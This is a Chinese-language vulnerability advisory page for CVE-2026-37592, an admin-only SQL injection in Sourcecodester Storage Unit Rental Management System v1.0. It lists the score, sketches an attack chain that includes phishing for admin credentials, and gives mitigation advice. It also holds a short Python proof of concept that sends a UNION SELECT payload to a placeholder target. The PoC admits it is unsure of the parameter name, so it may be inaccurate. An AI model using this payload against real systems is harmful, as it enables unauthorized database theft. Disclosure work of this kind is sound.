CVE-2026-37592 CVSS 2.7 低危

CVE-2026-37592 Storage Unit Rental系统SQL注入漏洞

披露日期: 2026-04-14

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-37592

漏洞类型

SQL注入

CVSS评分

2.7 低危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

Sourcecodester Storage Unit Rental Management System

漏洞概述

Sourcecodester Storage Unit Rental Management System v1.0存在SQL注入漏洞。漏洞位于/storage/admin/maintenance/manage_pricing.php文件中，由于对用户输入过滤不严，具备高权限的攻击者可通过注入恶意SQL语句窃取数据库敏感信息，造成机密性泄露。

技术细节

该漏洞源于应用程序在处理/manage_pricing.php文件中的请求时，未对用户输入进行有效的安全过滤，直接将其拼接到SQL查询语句中。攻击者需拥有管理员级别的高权限账户（PR:H）才能访问该功能点。通过网络向量（AV:N），攻击者可构造特定的SQL Payload注入到查询参数中。由于系统未使用预处理语句，数据库会执行注入的命令，导致敏感数据（如凭证、业务数据）被披露，但不会影响完整性和可用性。

攻击链分析

STEP 1

侦察

识别目标系统是否运行Sourcecodester Storage Unit Rental Management System v1.0。

STEP 2

获取凭证

攻击者通过钓鱼或其他方式获取管理员级别的高权限账户凭证。

STEP 3

漏洞利用

使用管理员凭证登录，向/storage/admin/maintenance/manage_pricing.php发送包含恶意SQL注入代码的HTTP请求。

STEP 4

数据窃取

数据库执行注入的SQL语句，返回敏感信息（如数据库版本、用户数据等）给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# PoC for CVE-2026-37592
# This script demonstrates the SQL injection vulnerability in manage_pricing.php

import requests

target_url = "http://target.com/storage/admin/maintenance/manage_pricing.php"

# Attacker needs high privileges (Admin session cookie)
cookies = {
    "PHPSESSID": "[ADMIN_SESSION_ID]"
}

# Malicious payload to extract database version
# Replace 'vulnerable_param' with the actual parameter name used in the request
payload = "1' UNION SELECT 1, version(), 3, 4-- -"

params = {
    "id": payload  
}

try:
    response = requests.get(target_url, params=params, cookies=cookies, timeout=10)
    if response.status_code == 200:
        print("[+] Request sent successfully. Check response for SQL output.")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

影响范围

Sourcecodester Storage Unit Rental Management System 1.0

防御指南

临时缓解措施

由于该漏洞需要高权限才能利用，建议立即加强管理员账户的安全策略，强制使用强密码并定期更换。在未修复前，建议部署Web应用防火墙（WAF）以检测和阻断针对该路径的SQL注入攻击流量，并严格限制管理后台的访问来源IP。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表